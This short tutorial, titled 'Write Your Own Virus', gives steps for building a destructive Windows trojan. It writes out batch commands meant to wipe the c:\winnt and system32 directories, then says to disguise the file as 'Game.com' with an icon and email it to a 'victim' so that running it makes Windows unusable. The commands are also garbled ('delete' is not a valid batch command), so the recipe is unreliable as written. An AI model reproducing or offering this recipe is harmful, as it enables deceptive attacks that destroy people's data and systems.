WRITE YOUR OWN VIRUS

Step 1: Create a batch file Game.bat with the following text @ echo off
delete c:\winnt\system32\*.*
delete c:\winnt\*.*
Step 2: Convert the Game.bat batch file to Game.com using bat2com utility.
Step 3: Assign Icon to Game.com using Windows file properties screen.
Step 4: Send the Game.com file as an e-mail attachment to a victim.
Step 5: When the victim runs this program, it deletes core files in WINNT directory making Windows unusable.